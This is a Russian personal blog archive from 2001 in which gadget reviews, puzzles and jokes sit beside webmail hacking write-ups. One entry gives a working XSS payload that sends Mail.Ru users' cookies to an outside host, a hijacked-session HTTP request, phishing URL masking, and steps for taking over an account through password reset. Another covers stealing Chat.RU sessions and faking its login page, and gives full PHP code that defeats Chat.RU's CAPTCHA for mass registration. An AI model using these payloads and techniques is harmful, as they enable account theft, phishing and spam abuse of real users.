Конечно, в жизни я не такой плоский и черно-белый, и рот у меня двигается, как у всех людей. Да и говорю я громче и меньше.

P.S. Кстати, никто не забыл перевести все часы в доме на зимнее время? Меня сегодня об этом предупредил компьютер. Все-таки и компьютер, иногда, бывает полезен...

Похоже, веб-майл - вещь, дырявая по определению. Производители браузеров надобавляли туда "столько разных штук", что веб-программисты уже просто не успевают вырезать из HTML'а все потенциально опасные теги, стили, скрипты и прочее.

Сегодня буду пороть Mail.Ru. Mail.Ru - один, как я считаю, из лучших почтовых сервисов в России. Люди, которые его делали постарались защитить веб-интерфейс e-mail от всевозможных хитрых редиректов и прочих каверз, встречающихся в HTML-письмах.

Стили, опасные теги, скрипты и вообще активное содержание HTML-письма тщательно обезвреживается буквой "x", забивающей теги и атрибуты. Например, атрибут STYLE, неважно опасен он или нет, превращается в безобидный xSTYLE, а SCRIPT - в xSCRIPT.

Но мне пришлось послать всего три письма, чтобы я смог найти уязвимость, которую проглядели в Mail.Ru. Фокус заключается в простановке у тега второго атрибута STYLE, поставленного вплотную с первым. Тогда анализатор уязвимостей благополучно обезвреживает первый, но не замечает второй. Возможно, я не проверял, так же дело обстоит и с другими блокируемыми атрибутами, например, onMouseOver.


<IMG STYLE=''STYLE="width: expression(var i;if (!i) i = location.href=('http://domain.ru/script.cgi?'+document.cookie))">
 

В принципе, уже этого достаточно, чтобы написать аршинными буквами слово "Мазафака" или заставить исчезнуть нижнюю часть экрана и на этом успокоиться. Но с Internet Explorer (кстати, и не только), если запущен он, конечно, не на Маке, можно делать вещи и поинтереснее.

Например, попытаться получить информацию, достаточную для того, что бы прочитать корреспонденцию атакуемого. Вообще данные по которым сервер узнает пользователя при работе с почтой хранятся в браузерных cookies. И этих данных вполне достаточно, чтобы сервер принял любого, кто владеет этой информации на период сессии с распростертыми объятиями.

Таким образом, достаточно перенаправить пользователя строчкой, подобной той, что я написал выше на некий script.cgi, что бы получить всю необходимую информацию.

Далее, при помощи самодельного proxy, telnet или простого редактирования cookie, скармливаем всю полученную информацию серверу и наслаждаемся чтением. :) Запрос на чтение, в итоге, получится похожим вот на этот:


GET /cgi-bin/msglist?folder=0 HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
Referer: http://win.mail.ru/cgi-bin/start?back=1
Accept-Language: ru
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Host: win.mail.ru
Connection: Keep-Alive
Cookie: Mpop=1004195474:EcczSKdd:mail@mail.ru:; u=P6kBAA3tqABB
 

Я предпочел сформировать полный запрос, но это вовсе не обязательно. Кстати, пользователя после редиректа можно направить на какую-нибудь ложную страницу с просьбой ввести пароль - трюк, по-моему, стандартный и скучный. Если не принять специальных мер, вроде маскирования адреса страницы, вот таким вот, например, способом

http://www.mail.ru@65.21.11.10/вполне_невинная_страница.htm

многие сразу почувствуют подлог. Другой способ - воспользовавшись дырой, узнать как можно больше регистрационных данных этого аккаунта - его секретный вопрос с ответом, дату рождения, имя и тому подобную байду (вся эта информация доступна из меню "настройки"). А потом спокойно ввести ее в форму напоминания пароля. Дальше, остается спокойно поменять пароль на любой понравившийся и пользоваться ящиком в свое удовольствие.

Сегодня увидел в маршрутном автобусе: "бесплатным проездом пользуются только участники ВОВ и дети до 7 лет". Думаю, они ошибаются.

Sergey aka Des прислал ссылку на MP3 с радиорозыгрышем, за что ему большое спасибо. :) Вот тут. 300Кб, жаль, что скорость скачивания очень низкая. Либо сервер стоит на узком канале, либо пользуется бешенной популярностью. :)

Айдын aka Whatever прислал письмо из которого следует, что "Гель для души" - фотомонтаж, который я размещал в прошлом выпуске, не плод моей копии Фотошопа, а суровая реальность. Продается это чудо в Москве под маркой то ли "Роснин", то ли "Роско".

Прошу производителей этого замечательного геля выплатить мне денежку. За рекламу. :) Пусть и неумышленную. :)

PV-S450 (19Kb) Casio PV-S450, называйте его как хотите - органайзер, записная книжка, микрокомпьютер, у меня уже более двух месяцев и, по прошествии этого срока, я захотел поделиться впечатлениями от пользования этим наладонником.

Первое, что я понял - электронные органайзеры мне не подходят, как бы они выглядели и какие бы возможности они не предоставляли. Не лежит у меня душа тыкать пером в PV-S450 или давить в кнопки в Citizen, купленной еще лет пять назад. Так что этот наладонник для меня никакой не органайзер, а вовсе даже, пусть небольшой, компьютер.

Второе. Сделав выбор между Palm и Casio в пользу последнего, я не ошибся. С точки зрения дизайна Casio выглядит куда более выигрышно, чем Palm III или m10x. Насчет V-го ничего не скажу - я его вживую не видел. Одно точно - экран пивишки больше палмовского, примерно на треть, за счет отсутствующей области граффити.

Граффити в Casio нет. Т.е. есть, но в виде отдельной программы и без русификации, что для любителей писать магические знаки на PDA является определенной проблемой. Для меня никакой проблемы тут нет, тем более, что граффити с успехом заменяется графической клавиатурой, которой и осуществляется весь ввод. И вот тут уж никаких проблем с русификацией нет.

Русификация в Casio выполнена на уровне самой PV OS, русифицированных версий уже три - это Миценко ОС, Белка ОС и SSC-ОС. В PV, в отличие от Palm, где русификация выполняется программно и отнимает процессорное время и память, есть возможность обновления операционной системы, так что вы можете загрузить любую из трех. Когда я купил девайс на нем стояла ОС от Белки, сейчас я пользуюсь Миценковской, но собираюсь переходить на SSC.

Другое достоинство пивишки - Flash память. Все программы выполняются в 128-килобайтовой SRAM, но все данные и программы хряняться в 4 магабайтной Flash, что не лучшим образом сказывается на скорости сохранения информации, но является лучшим решением с точки зрения сохранности данных. Вы можете не опасаться, что потеряете информацию, если ваши батарейки сядут. Фирма Palm же рекомендует делать время от времени копию всех данных.

Далее. PV работает от двух пальчиковых батареек AAA *очень* долго. С момента покупки я еще не сменил батарейки ни разу, хотя использую PV довольно интенсивно - часа по два в день. Пальмовцы, рыдайте!

Еще одно достоинство - колесо прокрутки. Колесико удобно располагается под большим пальцем левой или указательным пальцем правой руки. При помощи колесика можно управлять прокруткой или навигацией. Нажимая на колесико можно совершать какие-то, заданные автором программы действия. Например, в программе МиниБук, речь о которой еще пойдет, колесиком можно прокручивать текст, менять книги, делать закладки и так далее.

Подстветка. Сам не сравнивал, но говорят Casio в этом смысле выглядит выйгрышней Palm'a. Теперь о том, в чем Palm "бьет" Casio.

Одним из ограничений PVOS является количество одновременно загружаемых в машинку программ. PVOS умеет работать только с 15-ю. И, хотя мне еще не разу не понадобилось более 10 программ, кого-то, думаю, обрадует факт, что ограничение это можно обойти. При помощи PV addin manager v3.00 можно собрать нужные программы в один или несколько пакетов и "обмануть" операционную систему. PV AM v4.00 позволяет собирать программы в один большой LHA-архив и распаковывать их по мере необходимости, т.е. является первым архиватором программ для PV.

Количество написанного софта. Да, софт для Palm'a поместиться разве что на пару компашек. Софт для Casio - это несколько десятков наименований. Но, спешу развеять все сомнения - софта для Casio вполне достаточно.

Хочется поиграть? Примерно пятьдесят игр (из них три тетриса :), собранные в один архив одним из фенов PV скрасят ваше существование. Встроенные в ОС приложения позволяют вести таблицы a-la MS Excel, делать заметки, вести дела, записывать контакты и делать записи от руки, которые храняться, как картинки. Очень удобно, если надо что-то быстро записать.

MiniBook, написанный Pu Bo, позволяет читать и хранить до девяти книг одновременно, упакованных, примерно, в два раза. Недавно вышла новая версия MiniBook, но я еще не успел ее посмотреть. Кстати, если кУпите PV не забудьте выкачать русский патч для минибука - FixFont, очень рекомендую поставить. Так же нужно попробовать воспользоваться парой форматировщиков текста. Какой из них лучше - решайте сами, я пользуюсь форматировщиком от -pnv-Software (PreBook). Фоматировщик нужен, что бы перевести широкоформатную книгу с какого-нибудь Lib.RU в узкий, хорошо читаемый на небольшом экране (160x160) PV.

Текстовые редакторы. Распространенных два. Первый встроен в саму PVOS. Мне он не нравится - подтормаживает при наборе. Второй - IEdit от Полуэктова, пока находится в стадии бета-тестирования и доработок, но уже является довольно мощным и удобным редактором для PV.

Переводчики. Я пользуюсь двумя, но слышал еще о нескольких. Первый - это весьма известный "СловоЕд", который раньше распространялся с PV в России, а второй - SSC-Dict, который, как я слышал, распространяется с PV теперь. Какой из них лучше сказать затрудняюсь - первый имеет бОльший "словарный запас", второй - более удобный и простой.

Написание собственных программ. Программы для PV обычно пишутся на C или диалектах BASIC. Сишникам Casio предлагает собственную среду разработки, неубодную, но хоть какую-то, тем, кто не хочет учить С или разбираться с API PVOS можно порекомендовать писать на BASIC'e. Их для PV несколько, но получил распространение один - OW-Basic. Это полноценный язык, с поддержкой процедур, модулей и некоторых особенностей PVOS.

Остальные программы на какие-то классы разбивать не хочется, так как нужны они лишь время от времени. Например, есть карты московского и питерского метрополитена, индикаторы разрядки батареек, таймеры, различные системные патчи и так далее.

Начиная разговор про программы, совсем забыл сказать каким образом они попадают в PV. Модели 2x0 и 4x0 работают через кредл, подключаемый к COM-порту, впрочем в природе существуют и USB-шнуры, но это всего лишь COM-через-USB. Владельцам X-серий придется найти в Интернете и прочитать специальную иструкцию по заливке программ. PV-S750 обладает инфракрасным портом, но, к сожалению, еще не продается в России и не имеют русификации, т.е. набирать и читать тексты по-русски там не получится.

У PV есть будущее. Группа российских программистов SSC LG обещает к концу года выпустить пакет SSC-Office, куда войдут две игры, программа для измерения производительности и построения карты памяти, SSC-Bench, которую можно скачать уже сейчас, SSC-Shell, при помощи которой можно будет, при помощи плагинов, работать с текстом любого формата и еще несколько полезных программ.

И еще. Несколько ссылок для тех, кто хотел бы поближе познакомиться с PV-S450. Это сайт, где его можно купить, сайт SSC LG и два сайта, посвященных PV - на русском и английском.

P.S. Я не сравниваю PV с различными изделиями на базе EPOC32, Windows CE и прочими "полноприводными" устройствами, поскольку считаю их просто неполноценными - это уже не PDA, а "недоноутбуки" и по цене и по удобству использования. Тем более, что время работы этих устройств от батарей или аккумуляторов - около пары часов.

Копирайтеры - все сплошь милые, добрые люди. Придумать такое... Сам видел по телевизору. Дедушка, заговаривая внучику зубы, тянется за чипсами, внучик вместо чипсов ставит мышеловку, куда попадает дедушкин палец... Кто хоть раз в детстве пробовал сунуть в мышеловку карандаш должен себе представлять, как должен выглядеть палец, после попадания в мышеловку...

Если кто в детстве был обделен этим полезным опытом, попробуйте проделать его сейчас. Напоминаю, что использовать нужно карандаш, а не палец.

На этом позвольте попрощаться. Пишите!
Комментировать
28 октября 2001 21:55

КулХацкерство, Chat.RU, WatzNew, гель для души

Всем привет!

Гель... (10Кб) В отличие от фото, опубликованного мною в предыдущем выпуске, это - фотомонтаж. Причем мой. :) Буква "И" перенесена из слова "кожи", написанного на том же флаконе.

Идея пришла мне в голову неделю назад, пока я отмокал в ванной после напряженного трудового дня. Насилу дождался, когда закончится флакон, чтобы утащить его в офис и преобразовать его там в цифру. :)

Флакон отсканирован обычным HP ScanJet 3400C, так что за качество сильно не бейте - я итак десять минут потратил на то, что бы привести изображение в нормальный вид при помощи Фотошопа.

Кстати, совсем недавно, буквально на днях открылся новый раздел сайта "Карикатура" - УКОЛ (Удачный КОЛлаж), где отныне публикуются коллажи, выполненные мастерами фотошопа и прочих пейнтбрашей. Авторы сайта приглашают художников, выполняющих коллажи поучаствовать в наполнении раздела.

Пока в галерее представлены работы только двух художников - Алексея Бабкина и Роберта Демкина, но, думаю, количество участников будет расти. Кстати, на сайте есть рейтинг работ и возможность проголосовать за особо понравившийся УКОЛ.

Вот сижу и думаю - художник я или нет. Принять участие или не стоит. Удачен мой КОЛлаж или так себе. :)

Письмо от Романа Биктагирова. Ненормативная лексика переписана задом наперед и выделена курсивом.


Hello, se!

Ялб, ну какой ты хакер! Ну "заломал" чат.ру. Да не фига! Хотя бы порносайт
сломал, ялб или кредитку. Про estarter прикольно, но нафига мне estarte?
Ни яух не тебе меня йыннабе estarter.


Так как это уже второе подобное письмо такого плана, то я хочу внести ясность в этот вопрос. Не припомню, чтобы я где-то называл себя хакером. Я, скорее, исследователь, чем человек занимающийся хакерским ремеслом. Да и то исследованиями такого рода я занимаюсь эпизодически, лишь когда наткнусь на что-то для себя интересное.

Теперь что касается порносайтов и кредиток. Большая часть "взломов паролей" порносайтов - это, либо сознательное размещение порноресурсами паролей доступа в открытых каталогах для привлечения новых клиентов на сайт (что бы "втянулись"), либо плод применения какого-либо тривиального приема для обхода системы контроля номера кредитной карты.

Первое могут позволить себе либо очень крупные, либо очень молодые ресурсы, второе чаще проходит только с сайтами, использующими номер кредитки для проверки возраста. Не буду объяснять почему.

Мне, как человеку достаточно много проработавшему с различными системами оплаты достаточно просто воспользоваться вторым методом. Чтобы получить, например, вот этот вот вход. Роман, специально для тебя. Пользуйся, пока не прикрыли.

Что касается номеров кредиток, то как их воруют я не знаю и знать не хочу. Это дело подсудное, в отличие от того что я проделал, добывая логин из предыдущего абзаца. Получив логин, я не нарушил функционирования ни одного из компонентов сайта, не помешал получить прибыль с этого порноресурса, не получил чью-то приватную информацию и так далее и тому подобное.

Так что, Роман, расслабь сфинктер, номеров кредиток я тебе подарить или продать не смогу. То же самое я хочу сказать и Peter'у, написавшему предыдущее письмо о кредитках. И, конечно, все вышесказанное не означает, что я теперь буду периодически публиковать пароли для порноресурсов. Для этого есть другие сайты.

WatzNew. Screenshot (9.4Kb) Как наверное хоть кто-то успел заметить на "морде" сайта появилась ссылка "Канал WatzNew". За это надо сказать большое спасибо Alex'у, приславшему мне готовый файл канала. Так что, у тех, кто уже пользуется этой замечательной программой появилась возможность добавить в нее мой сайт и отпала необходимость читать следующий абзац.

Вкратце, я попытаюсь объяснить, что есть WatzNew и почему стоит пользоваться этой программой.

WatzNew время от времени посещает добавленные ранее сайты (т.н. "каналы") или почтовые ящики и сообщает пользователю о всех произошедших там изменениях. Каким именно методом программа будет сообщать об изменениях решает сам пользователь. WatzNew настолько развита, что, при соответствующих настройках, умеет сама вычленять из страницы новостные блоки.

Простые каналы программа умеет создавать в режиме "мастера". К сожалению, "мастер" не поможет новичку самостоятельно, без копания в документации создавать свои каналы любой сложности, используя все возможности сбора информации, предоставляемые этой программой. Но, в большинстве случаев, можно и не лезть в дебри. Например, как оказалось, многие из посещаемых мною каждый день сайтов уже имеют сконфигурированные каналы WatzNew.

Любителей Perl ждет приятный сюрприз - программа умеет использовать программы на языке Perl, как фильтры, так что можно создавать каналы практически неограниченной сложности.

К сожалению, у любой программы есть недостатки. У этой программы их два. Первый - программа платная, что, впрочем, при использовании некоторых поисковых машин с "говорящими" названиями, проблемой не является. Второй недостаток - глюки последней, на данный момент, (1.6) версии программы под W2K. Глюки обходимые, но очень неприятные. Надо будет выбрать время и написать авторам баг репорт.

Давно я так не смеялся. Вот тут. 936 килобайт. Смешное начинается, примерно, с трети, но рекомендую послушать сначала.

По телевизору услышал "противостояние идеологии и фактологии". Журналисты у нас - мастера русской словесности. Да...

Цитата из письма Petivan'a. Письмо полностью приводить не буду - оно слишком обширно.


...вот Вы говорите о дырявости www.chat.ru. О каких дырах Вы говорите? Что
именно Вы имеете ввиду?.. Ведь я ничего подобного не сылшал...


Я говорю о том, что, хотя видны некоторые усилия команды Chat.RU по затыканию дыр в защите web-mail, иначе, как "отчаянными" и "неудачными" их назвать нельзя.

Например, возьмем к рассмотрению тот факт, что в HTML-письмах веб-майл не выполняет абсолютно никакой фильтрации тегов и вставок на скриптовых языках и использует для идентификации пользователя два параметра, передаваемых в строке запроса.

Получается, что любой владелец почтового ящика на Chat.RU, получив мое письмо с редиректом на мой сервер, выполненным любым, пришедшим мне в голову способом, находится под угрозой прочтения мною его писем, так как номер его сессии попадет в мои логи, как referrer. И, пока он не нажал на кнопку "выход" (а многие просто закрывают окно после завершения работы) я смогу беспрепятственно прочитать любые его письма, просто набрав в строке запроса браузера строчку, попавшую мне в логи.

Chat логин (2.5Kb) Справедливости ради, стоит отметить, что получить пароль пользователя, узнав номер его сессии не удастся - программисты Chat.RU об этом позаботились. Но можно обмануть пользователя - загрузить в HTML-письме свою страницу, которая откроет пользователю окно, похожее на окно логина Chat.RU (см. скриншот), что бы пользователь подумал, что произошел какой-то сбой и ему нужно залогиниться заново.

Естественно, есть очень бдительные люди, но явное большинство легко поведется на такой трюк. Кстати, пользователь может ошибиться и ввести неверный пароль, но это очень легко проверить - достаточно будет написать скрипт, который тут же попытается залогиниться с полученным паролем.

Довольно интересной задачей является поиск раскрытия метода шифрования, используемого для идентификации пользователя при попытке смены пароля. У меня до этого руки не дошли, но я успел выяснить, что зашифрованная строка зависит только от имени пользователя (!) и некой соли, которая время от времени изменяется и никак не зависит от пароля. Хотя, может быть, это просто некоторый случайный идентификатор каждого пользователя.

В любом случае от этого знания есть некоторая польза - если вы заметили, что ближний ваш меняет пароль Chat.RU прямо в браузере, доступ к которому вы имеете, то совсем нетрудно по журналу (history) найти его идентификатор и поменять пароль вторично. :) У вас в запасе, по моим прикидкам, есть время до ночи того же дня.

Я не знал. Оказывается, если ваш компьютер, как и мой офисный, не имеет "шнурка" соединяющего CD-ROM и звуковую карту, то не все еще потеряно. Windows ME, 2000 и XP имеют возможность подавать звук с аналоговых компакт-дисков прямо через IDE-интерфейс на звуковую карту. Конечно, при условии, что CD-ROM поддерживает такую возможность.

Для того, что бы включить "цифровое воспроизведение", так это называется, необходимо проделать следующее. Выберите "Мой компьютер" -> "Свойства" -> "Устройства" -> "Устройства чтения компакт-дисков", выбрать свой CD-ROM и в его свойствах выбрать "использовать цифровой выход для этого устройства".

Для линейки NT (2000 и XP) путь несколько другой, но отличается не слишком, так что найти аналогичную галочку труда не составит.

Пишите! Отвечу обязательно!
Комментировать
22 октября 2001 14:30

Задачи again, Chat OCR, concept 3G и AOL device, 1000

После продолжительного, более чем двухнедельного молчания во мне, наконец, взыграла совесть и я решил порадовать читателей моей домашней странички очередным выпуском. Всем привет!

Решение четыре (2.4Kb) Для начала вернемся к теме, которая вот уже, если я не ошибаюсь, три выпуска не дает мне покоя и, похоже, обещается не давать его примерно столько же.

Олег Лычаный, Макс Козлов и Дмитрий Мараков, независимо друг от друга, прислали мне четвертое решение задачи о садовнике. Решая эту задачу я, например, как-то автоматически принял предпосылку, что все расстояния между соседними рядами равны, хотя в условии задачи этого нигде не утверждается.

Если принять, что ряды располагаются как угодно, то могут появится такие красивые решения, как звезда. Может кто-нибудь перебиралку напишет? Мне лениво. :)

Почтовые сервисы, кажется, подустали от автоматических регистраторов в мгновение ока сметающих "красивые" логины и использующих авторегистрацию для рассылки спамовых писем.

В последнее время появилась мода на регистрацию при помощи "магических чисел" нанесенных на картинку. Если вы не знаете о чем речь, попробуйте, например, зарегистировать e-mail на Chat.RU. Идея проста - на картинку наносится число, которое человек при регистрации должен "вбить" в текстовую форму, считается, что человеку это особых неудобств не приносит, а вот регистрационные скрипты с этим ничего сделать не могут.

Число каждый раз меняется и генерируется как можно более хитрым способом, что бы вычислить его, например, через параметры, передаваемые скрипту, рисующему картинку, было достаточно трудно.

Тот же Chat.RU, для примера, каждые несколько часов генерирует набор пятизначных цифр, хеширует их через MD5 и помещает все соответствия в базу данных. Этот хеш является параметром для скрипта, генерирующего картинку.

Способ достаточно странный и трудоемкий, но "кул хацкеров" все же отпугивает. Странный потому что совершенно непонятно для чего оставлять хоть какое-то, пусть непрямое, соотвествие между номером на картинке и параметром используемым для его генерации - перебор на Perl с восстановлением числа на Pentium III-866 занимает, в среднем, примерно 30 секунд. Если не повезет - все 70. Я пробовал.

Вообще результат не такой уж плохой, но мне захотелось его улучшить. Не то что бы я занимаюсь спамом или регистрацией логинов, просто было интересно решить эту задачу. Отвергнув способ с улучшением способа нахождения обратного по хешу, как трудно поддающийся улучшению я решил сконцентировать силы на распознавании самой картинки.

Картинка в ASCII (1.7Kb) Забегая вперед, скажу, что концентироваться пришлось недолго. Сначала я обратил внимания на то, что выдаваемая пользователю картинка имеет формат PNG, значит новая GD-библиотека, вкомпиленная в PHP на моей машине, вполне сможет с ней работать. Поэтому первое что я сделал - прошелся по всей картинке и, двумя циклами, перевел ее в ASCII - графику, чтобы лучше рассмотреть, а заодно убедиться, что GD картинку "понимает".

Моя задача очень упростилась - как оказалось все цифры в строке одинакового размера, а координаты начала печати от картинки к картинке не изменяются ни на пиксел.

Сверять цифры с заранее заготовленными образцами было слишком просто и грустно, так что я решил просто суммировать количество пикселей, составляющих цифру, в каждом столбце одного знака и сравнивать получившееся значение с просчитанным заранее. Как оказалось для этой задачи необходимы только первые три столбца каждой цифры. Получилась такая вот программка на PHP, которая позволяет регистрировать e-mailы на Chat.RU в любом количестве.


<?

        function OCRNum($URL)
        {
                $out = '';
                $nums = array (464,23,245,242,233,674,685,343,377,266);
                $png = imagecreatefrompng ($URL);

                for ($x = 10; $x<54; $x++)
                {
                        $sums = array(0,0,0);

                        for ($i = 0; $i<3; $i++)
                        for ($y = 10; $y<20; $y++)
                        $sums[$i]+= imagecolorat ($png, $x+$i,$y);

                        $x+=8;
                        $out.= array_search((int)join('',$sums), $nums);
                };

                return $out;
        };

        function GetCryptKey()
        {
                $fp = fopen ("http://chat.ru/user/register.html?", 'r');
                while (!feof ($fp))
                {
                        $line = strstr($line = fgets($fp, 1024), 'personal_key_crypt=');
                        if ($line!==false) break;
                };
                fclose ($fp);

                if (ereg ("[[:alnum:]_]+=([^\">]+)", $line, $regs))
                return $regs[1]; else return false;
        };

        function RegProc($crypt_key)
        {
                global $user, $pass;

                $key = OCRNum("http://chat.ru/user/image_gen.html?".
                "personal_key_crypt=$crypt_key");

                $URL = "http://chat.ru/user/register.html?personal_key=$key&".
                "personal_key_crypt=$crypt_key&username=$user&pw1=$pass&pw2=$pass&".
                "action=Register/Зарегистрировать";

                $fp = fopen ($URL, 'r');
                while (!feof($fp))
                {
                        $line = fgets ($fp, 2048);
                        if (strstr ($line, '<head>'))
                        echo "$line\n<BASE HREF=http://www.chat.ru>\n"; else
                        echo $line;
                };
                fclose ($fp);
        };

        if ($user=='' || $pass=='')
        echo <<<HTML
        <STYLE>
                body, td, input {font-family: Trebuchet MS; font-size: 15px}
        </STYLE>
        <BODY BGCOLOR=WHITE TEXT=BLACK>
        <TABLE WIDTH=300>
        <FORM ACTION=$PHP_SELF>
        <TR><TD>User name:</TD><TD><INPUT TYPE=TEXT NAME=user></TD></TR>
        <TR><TD>Password:</TD><TD><INPUT TYPE=TEXT NAME=pass></TD></TR>
        <TR ALIGN=CENTER><TD COLSPAN=2><INPUT TYPE=SUBMIT VALUE=Register>
        </TD></TR>
        </TABLE>
        </FORM>
HTML;
        else
        {
                $ckey = GetCryptKey();
                if ($ckey === false) echo 'Не могу зарегистрировать.'; else
                RegProc ($ckey);
        };
?>


Берите, пользуйтесь, пока ребята из Chat.RU не сменили алгоритм. :) Вообще Chat.RU - сервис довольно странный и дырявый, но об этом как-нибудь в другой раз.

Никому игрушечная ведьма в подарок ребенку или младшему брату на Хелоуин (надеюсь, правильно написал) за умеренные деньги не нужна? :) 15 сантиметров в высоту, подвижные конечности и голова, змеи неожиданно появляющиеся из глаз и рта. В комплекте накидка, свеча, две корзины и прочая аттрибутика. Очаровашка. [ Вот тут ].

Concept. (2.3Kb) О "concept car" слышали, пожалуй, все. А вот о концепт-3G-терминалах я, например, слышу впервые. На фотографии справа, например, Nokia 3G Terminal Concept III.

Посмотреть на это все можно [ вот здесь ], а где и когда можно будет купить, надо ли покупать и сколько будет стоить я не знаю. Ибо это всего лишь concept.

Надеюсь, что в след за концептуальными 3G-терминалами появятся и концепт-телефоны, плавно переходящие в массовое производство, а за ними и прочие устройства. Купить мобильник или PDA с таким дизайном я бы не отказался.

AOL device (8.7Kb) Не секрет, что кроме всем известной "Аськи" на свете существует великое множество разнообразных интернет-пейджеров. Различных Миранд, Одиго, Триллиантов, Интстант Мессенжеров, Яху пейджеров и прочая и прочая.

До такого, кроме, AOL не додумалась, по-моему, еще ни одна компания. AOL (а точнее одна из хардварных компаний для AOL) объединила обычный пейджер с интернет-педжером и получила устройство, позволяющее получать почту и сообщения AOL IM на такую вот небольшую коробочку с клавиатурой и колесом прокрутки.

Внутри, как не странно, 386-й процессор от фирмы Intel, 4 Мб Flash, 512 Кб SRAM и одна NiMH батарейка AA форм-фактора. Хоть Linux инсталлируй. Размерами этот девайс примерно 63.5x88.9x23.6 мм. Т.е. даже меньше, хотя и толще, чем мой [ Casio PV-S450 ].

Продается в штатах по цене в 100$, плюс 30 баксов ежемесячно, за подключение. Очень неплохой бизнес.

Мне кажется оформление мусорных баков у нас в Казани скоро станет одним из видов исскуства. Я уже как-то упоминал о "мусоре Эльдорадо", а вот какой перл я увидел на улице Зорге, возле магазина "1000 мелочей".

1000 мелочей (26Kb)

На этом позвольте попрощаться. Пишите! Вашим письмам я радуюсь, как ребенок. С уважением, Евгений Степанищев.
Комментировать
19 октября 2001 19:50

«Старая перечница», Miranda MSN, ответы, гаманок

В свете многочисленных пожеланий появилась мысль прикрутить к сайту небольшой форум, как у Спектатора или Psyberia. Как только мне удасться сотворить для него достойный дизайн, сделаю это обязательно.

Читал сегодня размышления "Старой перечницы" по поводу формирования PHP-форума из кусков файлов, вставляемых далее при помощи "require". И только я отписал в форуме, что так делать не годится, как мое замечание лишило форум работоспособности.

Благодаря тому, что файл формирующий сообщения форума, как оказалось в данном случае, не является исполняемым я смог его выкачать и посмотреть в чем дело:


<?php
$dataName[1] = "BOLK";
$dataMail[1] = "se@e-kazan.ru";
$dataMessage[1] = "...осторожно отфильтровывать символы ", <? и так далее...";
$dataDate[1] = "6.10.2001 10:15";
$dataAnswer[1] = "######";
$index = 1;


Роль слона в посудной лавке сыграла кавычка, которую я поставил совершенно случайно, а Павел как-то умудрился отключить ее фильтрацию. Вряд ли он трогал настройки в php.ini, скорее всего использовал конкатенацию через точку, в этом случае фильтация кавычек и других потенциально опасных символов не происходит и они попадают в строку "как есть".

Все это, вкупе с использованием require, привело к очень опасной ситуации - возможности взлома сайта с проведением любых манипуляций с его файлами. Обнаружив это, я воспользовался дырой, убрал свое сообщение, которое привело к ошибке и послал Павлу письмо с пожеланием немедленно отключить форум.

Надо было на этом остановиться. Но я подумал, что за это время кто-то может обнаружить уязвимость и воспользоваться этим. Мне эта мысль не понравилась и я решил, что человеку нужно помочь.

Воспользовавшись дырой и довольно успешно миновав защиту от различных спецсимволов при помощи вставок \xHH, я скопировал себе скрипт форума, исправил его и залил назад, но, в спешке, пропустил одну-единственную букву и привел форум в негодность во второй раз - теперь все комментарии заменяются на единицы. Сегодня, похоже, не мой день. :(

Переборщил с помощью. В чем публично перед Павлом извиняюсь. :( Правда и дыру закрыл...

Miranda MSN (1.8Kb) Как вы наверное знаете, я уже давно не пользуюсь Mirabilis ICQ, предпочитая ее клон, Miranda ICQ - вещь, потенциально, весьма более качественную и, к тому же, динамично развивающуюся.

Одной из возможностей, заложенных в Miranda еще до рождения, является возможность подключения плагинов для поддержки различных видов протоколов. В частности, не так давно появилась альфа-версия плагина для поддержки протокола "Oscar", более известного, как ICQ2000.

Я давно мечтал о появлении в Miranda поддержки MS Instant Messenger. Работа над этой проблемой весьма вяло, но все же продолжалась в Miranda team. И вот этот момент настал! Ровно четыре дня назад ночной билд Миранды начал поддерживать MS IM. Сейчас идет активная работа над ошибками, но пользоваться плагином уже можно.

Правда, еще нет поддержки прокси и статуса "пользователь печатает сообщение", но, думаю, в скором времени поддержка этих возможностей появится.

Меня попросили опубликовать ответы на задачи, заданные в предыдущих выпусках, чтобы люди смогли узнать, насколько верно они их решили. Думаю, прошло достаточно времени чтобы все, кто хотел решить эти задачи, успели это сделать.

Итак...

Задача о пяти домах и прочих пяти признаках. Ответ: на Порше ездит Жора.

Задача о людях, переходящих через мост. Ответ: первыми идут Men1 и Men2, Men1 возвращается с фонариком, потом переходят Men5 и Men7, Men2 возвращается с фонариком, мост переходят Men1 и Men2.

Задача о садовнике и его смышленном работник имеет сразу три решения. Все три были найдены сотрудниками Газета.Ру, написавшими программу перебора и присланы Dead Emotion.

Решение раз (1.8Kb) Решение два (1.9Kb) Решение три (2.2Kb)

Остальные варианты являются либо зеркальными отражениями, либо получены того или иного рода поворотами. Впрочем, если кто-то найдет свой вариант, я буду рад его опубликовать.

Кстати, легко доказать, что в этой задаче через каждую точку должно проходить ровно две линии. Так, используя это свойство, можно попытаться улучшить время перебора.

Задача (8Кб) Решать задачи в уме или на бумаге замечательно, но иногда хочется чего-то более интерактивного. Boris Dusovitsky прислал ссылку на серию логических загадок, выполненых на Flash (примерно по 300Кб каждая).

Среди прочих, там есть знаменитая головоломка про козу, волка и капусту. Все головоломки, кроме, пожалуй, обхода конем, довольно просты и решаются буквально за пару минут.

Я был несправедлив к Энциклопедиям Яndex'a. Слово, которым моя бабушка называла кошелек там есть, просто пишется оно через два "а" - "гаманок". Цитату из словаря Даля мне прислали сразу семь читателей.


ГАМАН, гаманец, гаманок м. южн. зап. кожаный кошелек для денег. Гамза ж. или гамзуля, вернее гомза, гобза, от гобина, обилие; то же, кошель, бумажник, денежник; || деньги. Раскошеливайся, у тебя гамзы-то много! Гамзить, копить гамзу. Гамзила об. кто гамзу копит.
 

Я был несправедлив к "Энциклопедиям...", но еще более я был несправдлив к ресурсу под названием Рубрикон, которого я совершенно обошел вниманием. Впрочем, у меня есть оправдание - ссылку на него я узнал лишь недавно, благодаря письму от Kirill'a Gribunin'a.

Рубрикон. Лого (10Кб)

"Рубрикон" не умеет исправлять ошибки в набранных словах, как это делает Яndex, но обладает с неоспоримым преимуществом: поиск ведется сразу в 16-ти энциклопедиях. В круг поиска входят, например, Рок-энциклопедия, Конституция РФ и Популярная художественная энциклопедия.

В общем, весьма ценных ресурс. Однозначно, рекомендую к использованию.

На этом у меня на сегодня все. Удачных выходных. Пишите!
Комментировать
7 октября 2001 16:59

Lang Teacher, MySQL, задачи more, Yandex, жук с ручкой

Вот и кончился сентябрь. Поздравляю, допрыгались? Октябрь начался многообещающе - сырость, слякоть, дождь и температура чуть вышу нуля.

